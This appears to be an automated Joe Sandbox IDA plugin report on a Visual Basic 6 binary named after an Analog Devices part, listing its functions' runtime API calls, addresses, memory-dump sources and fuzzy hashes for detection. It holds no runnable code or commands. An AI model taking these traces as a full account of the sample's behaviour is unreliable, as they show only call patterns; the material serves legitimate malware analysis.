__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D03A323,6D04D8B1,6D04D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Move$ErrorFree$System$Unlock$#631BoundsBstrGenerateList$#616CopyLockOverflow
String ID:
API String ID: 1495372892-0
Opcode ID: 22a3bcf0e505ccb7d1cfaf72ba36ede29405f1e0ff0f99610f098486df82b262
Instruction ID: a67bb8bcd321ef6f9d89d5af411f850dddceec761c9aca37c4a66d17d3038916
Opcode Fuzzy Hash: 22a3bcf0e505ccb7d1cfaf72ba36ede29405f1e0ff0f99610f098486df82b262
Instruction Fuzzy Hash: 19C127B0E002199FCB14DFA5DD84AEEBBB9FB48300F50816EE50AA7250DB746985CF58

Function 004171D7 Relevance: 57.3, APIs: 38, Instructions: 310COMMON

Download Yara Rule

APIs

#631.MSVBVM60(00000000,-00000001,?), ref: 00417209
__vbaFreeStr.MSVBVM60 ref: 0041722A
__vbaFreeVar.MSVBVM60 ref: 00417233
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D03A323,6D04D8B1,6D04D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Move$ErrorFree$System$Unlock$#631BoundsGenerateList$#616BstrCopyLockOverflow
String ID:
API String ID: 591398060-0
Opcode ID: 961b67fc1f124d54495ebaca63011b730f5cf7ed414c292a9bb7346f90505c59
Instruction ID: 5850bdb2f8cb840655fe358dbb68f1bf167492e12e76f8ba6df4694bbfc137e4
Opcode Fuzzy Hash: 961b67fc1f124d54495ebaca63011b730f5cf7ed414c292a9bb7346f90505c59
Instruction Fuzzy Hash: 88C117B0E002199FDB14DFA9DD84AEEBBB9FB48300F50816EE509A7250DB746985CF58

Function 00417143 Relevance: 55.8, APIs: 37, Instructions: 288COMMON

Download Yara Rule

APIs

__vbaInStr.MSVBVM60(00000000,Function_00009254,00000000,00000000), ref: 00417157
__vbaLenBstr.MSVBVM60(00000000), ref: 00417180
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D03A323,6D04D8B1,6D04D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaSetSystemError.MSVBVM60 ref: 00417B9B

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$ErrorFreeMove$BstrSystemUnlock$#616#631BoundsCopyGenerateListLockOverflow
String ID:
API String ID: 4020600759-0
Opcode ID: 01b4123d1384e175d7db15ed5fda37c47c0d54542c8545c3d7772e666950e406
Instruction ID: 6f59f1f6fd00cf4eb64356afd8b00aa24b7c42f8971466ecdf1fdd0f8cb9e506
Opcode Fuzzy Hash: 01b4123d1384e175d7db15ed5fda37c47c0d54542c8545c3d7772e666950e406
Instruction Fuzzy Hash: D8C108B1E00218DFDB14DFA9DD84AEEBBB9FB48300F50816EE509A7250DB745985CF58

Function 00417190 Relevance: 54.3, APIs: 36, Instructions: 286COMMON

Download Yara Rule

APIs

#709.MSVBVM60(00000000,Function_00009254,00000000,00000000), ref: 004171A4
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D03A323,6D04D8B1,6D04D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaSetSystemError.MSVBVM60 ref: 00417B9B

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$ErrorFreeMove$SystemUnlock$#616#631#709BoundsBstrCopyGenerateListLockOverflow
String ID:
API String ID: 2767930602-0
Opcode ID: da9e1a5cc3e3cb8c691cd4fe22436f69490de0b4f09a0e23afe83290d4890e94
Instruction ID: fd14dd4b6f58a52c042ba838fbe59068618bb76b1adec8898ddb627e80e0b945
Opcode Fuzzy Hash: da9e1a5cc3e3cb8c691cd4fe22436f69490de0b4f09a0e23afe83290d4890e94
Instruction Fuzzy Hash: 6DB118B1E00218DFDB24DFA5DD84AEEBBB9FB48300F50816EE509A7250DB745985CF58

Function 004179F2 Relevance: 25.7, APIs: 17, Instructions: 200COMMON

Download Yara Rule

APIs

__vbaAryLock.MSVBVM60(?,00000000,6D03A323,6D04D8B1,6D04D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2
__vbaStrCat.MSVBVM60(?,004096D4,00000000,00000001), ref: 00417CE8
__vbaStrMove.MSVBVM60 ref: 00417CEF
__vbaStrCat.MSVBVM60(004096D4,00000000), ref: 00417CF7
__vbaStrMove.MSVBVM60 ref: 00417CFE
__vbaStrCat.MSVBVM60(?,00000000), ref: 00417D05
__vbaStrMove.MSVBVM60 ref: 00417D0C
__vbaStrCat.MSVBVM60(004096D4,00000000), ref: 00417D14
__vbaStrMove.MSVBVM60 ref: 00417D1B
__vbaInStr.MSVBVM60(00000001,00000000), ref: 00417D20
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 00417D41
#618.MSVBVM60(00000000,00000003), ref: 00417D6E
__vbaStrMove.MSVBVM60 ref: 00417D79
__vbaStrCat.MSVBVM60(Function_00009254,004096CC,00000000), ref: 00417D86
__vbaStrMove.MSVBVM60 ref: 00417D8D
__vbaStrCmp.MSVBVM60(00000000), ref: 00417D90
__vbaSetSystemError.MSVBVM60(00000000,?,?,?,6D03A323,6D04D8B1,6D04D8E2), ref: 00418B33
__vbaAryUnlock.MSVBVM60(?,00418BE2), ref: 00418BB3
__vbaAryUnlock.MSVBVM60(?), ref: 00418BBC
__vbaAryUnlock.MSVBVM60(?), ref: 00418BC5
__vbaFreeStr.MSVBVM60 ref: 00418BD0
__vbaFreeStr.MSVBVM60 ref: 00418BD5
__vbaFreeStr.MSVBVM60 ref: 00418BDA
__vbaFreeStr.MSVBVM60 ref: 00418BDF

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Move$ErrorFree$SystemUnlock$BoundsGenerateList$#618Lock
String ID:
API String ID: 2878159455-0
Opcode ID: 5be16d220d7e56eae9262f8b4a6e97e2f65e3b200773761827ff221150c3b68a
Instruction ID: 2780b2efc1f4126fd3daf783c884f47e51bc0b84df1625baa5224246725a4293
Opcode Fuzzy Hash: 5be16d220d7e56eae9262f8b4a6e97e2f65e3b200773761827ff221150c3b68a
Instruction Fuzzy Hash: 9A7117B0E042189FCB14DFA9DDC4AEEBBB5FB48300F6081AEE509A7250DB745A85CF54

Function 004259A0 Relevance: 163.2, APIs: 92, Strings: 1, Instructions: 495COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(6D136537,00000000,00000000), ref: 00425A0A
__vbaStrCopy.MSVBVM60 ref: 00425A12
__vbaOnError.MSVBVM60(00000001), ref: 00425A16
#648.MSVBVM60(0000000A), ref: 00425A2E
__vbaFreeVar.MSVBVM60 ref: 00425A3D
__vbaI2I4.MSVBVM60(?), ref: 00425A4F
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00425A59
__vbaI2I4.MSVBVM60 ref: 00425A61
#570.MSVBVM60(00000000), ref: 00425A64
__vbaLenBstr.MSVBVM60(0040545C), ref: 00425A74
__vbaStrCopy.MSVBVM60 ref: 00425A93

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?), ref: 00425AA9
__vbaFreeStr.MSVBVM60 ref: 00425AAE
__vbaLenBstr.MSVBVM60(0040545C), ref: 00425AC2
#525.MSVBVM60(00000000), ref: 00425AC9
__vbaStrMove.MSVBVM60 ref: 00425AD4
__vbaI2I4.MSVBVM60 ref: 00425AD9
__vbaGet4.MSVBVM60(00000000,?,-00000001,00000000), ref: 00425AE3

Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0041176F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 00411778
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117A9
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117B4
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 004117BB
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0041180F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411818
Part of subcall function 004115D0: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 00411853
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411864
Part of subcall function 004115D0: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 00411867
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411872
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411877

__vbaStrMove.MSVBVM60(?), ref: 00425AF7
__vbaStrMove.MSVBVM60(00000003), ref: 00425B08
#616.MSVBVM60(00000000), ref: 00425B0B
__vbaStrMove.MSVBVM60 ref: 00425B16
__vbaStrCmp.MSVBVM60(?,00000000), ref: 00425B1D
__vbaFreeStrList.MSVBVM60(00000003,?,?,00000000), ref: 00425B3F
__vbaStrMove.MSVBVM60(?), ref: 00425B64
__vbaStrMove.MSVBVM60(00000004,?), ref: 00425B79
#618.MSVBVM60(00000000), ref: 00425B7C
__vbaStrMove.MSVBVM60 ref: 00425B87
__vbaStrCat.MSVBVM60(00000000), ref: 00425B8A
__vbaStrMove.MSVBVM60(00000000), ref: 00425BA5
__vbaFreeStrList.MSVBVM60(00000004,?,?,00000000,00000000), ref: 00425BB9
__vbaI2I4.MSVBVM60 ref: 00425BCE
__vbaGet4.MSVBVM60(00000004,?,-00000005,00000000), ref: 00425BD8
__vbaStrMove.MSVBVM60 ref: 00425B95

Part of subcall function 00411210: #594.MSVBVM60(?,6D04D9F5,-00000001,6D04D8B1), ref: 0041127A
Part of subcall function 00411210: __vbaFreeVar.MSVBVM60 ref: 00411283
Part of subcall function 00411210: __vbaLenBstr.MSVBVM60 ref: 0041128F
Part of subcall function 00411210: #631.MSVBVM60(?,?,0000000A), ref: 004112C8
Part of subcall function 00411210: __vbaStrMove.MSVBVM60(?,?,0000000A), ref: 004112D3
Part of subcall function 00411210: #516.MSVBVM60(00000000,?,?,0000000A), ref: 004112DA
Part of subcall function 00411210: __vbaFreeStr.MSVBVM60(?,?,0000000A), ref: 004112E9
Part of subcall function 00411210: __vbaFreeVar.MSVBVM60(?,?,0000000A), ref: 004112F2

__vbaStrCat.MSVBVM60(0000,?), ref: 00425C10
__vbaStrMove.MSVBVM60 ref: 00425C1B
__vbaStrCat.MSVBVM60(0000,?), ref: 00425C2C
__vbaStrMove.MSVBVM60 ref: 00425C37
__vbaStrMove.MSVBVM60(?), ref: 00425C47
__vbaFreeStr.MSVBVM60 ref: 00425C4C
__vbaI2I4.MSVBVM60 ref: 00425C55
__vbaFileSeek.MSVBVM60(00000001,00000000), ref: 00425C5A
#648.MSVBVM60(0000000A), ref: 00425C72
__vbaFreeVar.MSVBVM60 ref: 00425C81
__vbaI2I4.MSVBVM60(?), ref: 00425C8D
__vbaFileOpen.MSVBVM60(00000220,000000FF,00000000), ref: 00425C97
#525.MSVBVM60(00001000), ref: 00425CA2
__vbaStrMove.MSVBVM60 ref: 00425CAD
__vbaI2I4.MSVBVM60 ref: 00425CE3
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00425CEC
__vbaI2I4.MSVBVM60 ref: 00425CF4
__vbaPut3.MSVBVM60(00000000,?,00000000), ref: 00425CFD
#525.MSVBVM60(?), ref: 00425D29
__vbaStrMove.MSVBVM60 ref: 00425D34
__vbaI2I4.MSVBVM60 ref: 00425D39
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00425D42
__vbaI2I4.MSVBVM60 ref: 00425D4A
__vbaPut3.MSVBVM60(00000000,?,00000000), ref: 00425D53
#594.MSVBVM60(0000000A), ref: 00425D77
__vbaFreeVar.MSVBVM60 ref: 00425D80
__vbaRedim.MSVBVM60(00000080,00000001,?,00000011,00000001,000000FF,00000000), ref: 00425D9C
#593.MSVBVM60(0000000A), ref: 00425DC6
__vbaGenerateBoundsError.MSVBVM60 ref: 00425DEF
__vbaGenerateBoundsError.MSVBVM60 ref: 00425DFD
__vbaFpUI1.MSVBVM60 ref: 00425E1F
__vbaFreeVar.MSVBVM60 ref: 00425E37
__vbaSetSystemError.MSVBVM60 ref: 00425E5F
__vbaI2I4.MSVBVM60 ref: 00425EAD
__vbaPutOwner3.MSVBVM60(0040A08C,?,00000000), ref: 00425EB9

Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 0041189C
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(004118D5), ref: 004118CE

#593.MSVBVM60(0000000A), ref: 00425EF3
__vbaFpI4.MSVBVM60 ref: 00425F15
__vbaFreeVar.MSVBVM60 ref: 00425F20
__vbaSetSystemError.MSVBVM60 ref: 00425F34
__vbaRedimPreserve.MSVBVM60(00000080,00000001,?,00000011,00000001,00000000,00000000), ref: 00425F4C
__vbaI2I4.MSVBVM60 ref: 00425F57
__vbaPutOwner3.MSVBVM60(0040A08C,?,00000000), ref: 00425F63
__vbaI2I4.MSVBVM60 ref: 00425F82
__vbaPut3.MSVBVM60(00000004,?,00000000), ref: 00425F91
__vbaI2I4.MSVBVM60 ref: 00425F95
__vbaPut3.MSVBVM60(00000000,?,00000000), ref: 00425F9E
__vbaI2I4.MSVBVM60 ref: 00425FA3
__vbaFileClose.MSVBVM60(00000000), ref: 00425FAC
__vbaI2I4.MSVBVM60 ref: 00425FB0
__vbaFileClose.MSVBVM60(00000000), ref: 00425FB3
__vbaExitProc.MSVBVM60 ref: 00425FBC
__vbaAryDestruct.MSVBVM60(00000000,?,0042604C), ref: 00426026
__vbaFreeStr.MSVBVM60 ref: 00426035
__vbaFreeStr.MSVBVM60 ref: 0042603A
__vbaFreeStr.MSVBVM60 ref: 0042603F
__vbaFreeStr.MSVBVM60 ref: 00426044
__vbaErrorOverflow.MSVBVM60 ref: 00426068

Strings

0000, xrefs: 00425C0B, 00425C27

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Free$Move$Error$File$#516#631BstrCopyPut3$#525$#593#594#648BoundsCloseGenerateGet3Get4ListOpenOwner3RedimSystem$#537#570#616#618DestructExitOverflowPreserveProcSeek
String ID: 0000
API String ID: 292954213-211534962
Opcode ID: 24d6d6b17887c0f3c917ea1074893c9453fe825b7dc9271a4a55e95ec63938c9
Instruction ID: ae26ad25c27fd2aa879063d40509198e82445ba020206e85d6646bf00855608d
Opcode Fuzzy Hash: 24d6d6b17887c0f3c917ea1074893c9453fe825b7dc9271a4a55e95ec63938c9
Instruction Fuzzy Hash: AF125871E002189FDB14DFE4DD88AEEBBB5FB48301F10412AE506B72A0EB745985CF69

Function 00422050 Relevance: 143.9, APIs: 81, Strings: 1, Instructions: 403COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,00000000,Function_000032B6), ref: 0042206E
__vbaStrCopy.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0042209B
__vbaOnError.MSVBVM60(000000FF,?,00000000,?,00000000,Function_000032B6), ref: 004220AA
__vbaStrCat.MSVBVM60(00408794,?,?,00000000,?,00000000,Function_000032B6), ref: 004220C0
__vbaStrMove.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 004220CB

Part of subcall function 00415AF0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CB29,0042C0F4,00000000,0042C0D4), ref: 00415B0E
Part of subcall function 00415AF0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00415B3E
Part of subcall function 00415AF0: #580.MSVBVM60(00000000,00000000,00000000,?,?,?,00000000,004032B6), ref: 00415B6A
Part of subcall function 00415AF0: #529.MSVBVM60(00004008), ref: 00415B88

__vbaFreeStr.MSVBVM60(?,?,00000000,?,00000000,Function_000032B6), ref: 004220DD
__vbaStrCat.MSVBVM60(00408794,?,?,00000000,?,00000000,Function_000032B6), ref: 004220F3
__vbaStrMove.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 004220FE

Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60(6D136537,00000000,00000000), ref: 00425A0A
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A12
Part of subcall function 004259A0: __vbaOnError.MSVBVM60(00000001), ref: 00425A16
Part of subcall function 004259A0: #648.MSVBVM60(0000000A), ref: 00425A2E
Part of subcall function 004259A0: __vbaFreeVar.MSVBVM60 ref: 00425A3D
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60(?), ref: 00425A4F
Part of subcall function 004259A0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00425A59
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425A61
